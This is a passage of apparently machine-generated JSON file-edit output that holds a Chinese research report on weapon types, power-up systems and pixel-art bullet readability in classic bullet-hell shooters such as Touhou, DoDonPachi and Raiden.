237}, {"type": "add", "content": "| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |", "new_no": 238}, {"type": "add", "content": "| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |", "new_no": 239}, {"type": "add", "content": "", "new_no": 240}, {"type": "add", "content": "### 4.4 屏幕内大量子弹的辨识度设计", "new_no": 241}, {"type": "add", "content": "", "new_no": 242}, {"type": "add", "content": "- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。", "new_no": 243}, {"type": "add", "content": "- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。", "new_no": 244}, {"type": "add", "content": "- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。", "new_no": 245}, {"type": "add", "content": "- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。", "new_no": 246}, {"type": "add", "content": "- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。", "new_no": 247}, {"type": "add", "content": "- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。", "new_no": 248}, {"type": "add", "content": "", "new_no": 249}, {"type": "add", "content": "---", "new_no": 250}, {"type": "add", "content": "", "new_no": 251}, {"type": "add", "content": "## 5. 像素 STG 武器视觉设计建议(落地清单)", "new_no": 252}, {"type": "add", "content": "", "new_no": 253}, {"type": "add", "content": "面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:", "new_no": 254}, {"type": "add", "content": "", "new_no": 255}, {"type": "add", "content": "### A. 武器体系骨架", "new_no": 256}, {"type": "add", "content": "1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。", "new_no": 257}, {"type": "add", "content": "2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。", "new_no": 258}, {"type": "add", "content": "3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。", "new_no": 259}, {"type": "add", "content": "4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。", "new_no": 260}, {"type": "add", "content": "5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。", "new_no": 261}, {"type": "add", "content": "", "new_no": 262}, {"type": "add", "content": "### B. 子弹与特效像素规范", "new_no": 263}, {"type": "add", "content": "6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。", "new_no": 264}, {"type": "add", "content": "7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。", "new_no": 265}, {"type": "add", "content": "8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。", "new_no": 266}, {"type": "add", "content": "9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。", "new_no": 267}, {"type": "add", "content": "10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。", "new_no": 268}, {"type": "add", "content": "11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。", "new_no": 269}, {"type": "add", "content": "", "new_no": 270}, {"type": "add", "content": "### C. 屏幕可读性指标", "new_no": 271}, {"type": "add", "content": "12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。", "new_no": 272}, {"type": "add", "content": "13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。", "new_no": 273}, {"type": "add", "content": "14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。", "new_no": 274}, {"type": "add", "content": "", "new_no": 275}, {"type": "add", "content": "---", "new_no": 276}, {"type": "add", "content": "", "new_no": 277}, {"type": "add", "content": "## 6. 参考资料", "new_no": 278}, {"type": "add", "content": "", "new_no": 279}, {"type": "add", "content": "以下为本报告主要信息来源(按主题归类):", "new_no": 280}, {"type": "add", "content": "", "new_no": 281}, {"type": "add", "content": "1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)", "new_no": 282}, {"type": "add", "content": "2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)", "new_no": 283}, {"type": "add", "content": "3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页", "new_no": 284}, {"type": "add", "content": "4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)", "new_no": 285}, {"type": "add", "content": "5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式", "new_no": 286}, {"type": "add", "content": "6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则", "new_no": 287}, {"type": "add", "content": "7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级", "new_no": 288}, {"type": "add", "content": "8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹", "new_no": 289}, {"type": "add", "content": "9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系", "new_no": 290}, {"type": "add", "content": "10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制", "new_no": 291}, {"type": "add", "content": "", "new_no": 292}, {"type": "add", "content": "---", "new_no": 293}, {"type": "add", "content": "", "new_no": 294}, {"type": "add", "content": "*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*", "new_no": 295}], "truncated": false, "current_text": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II 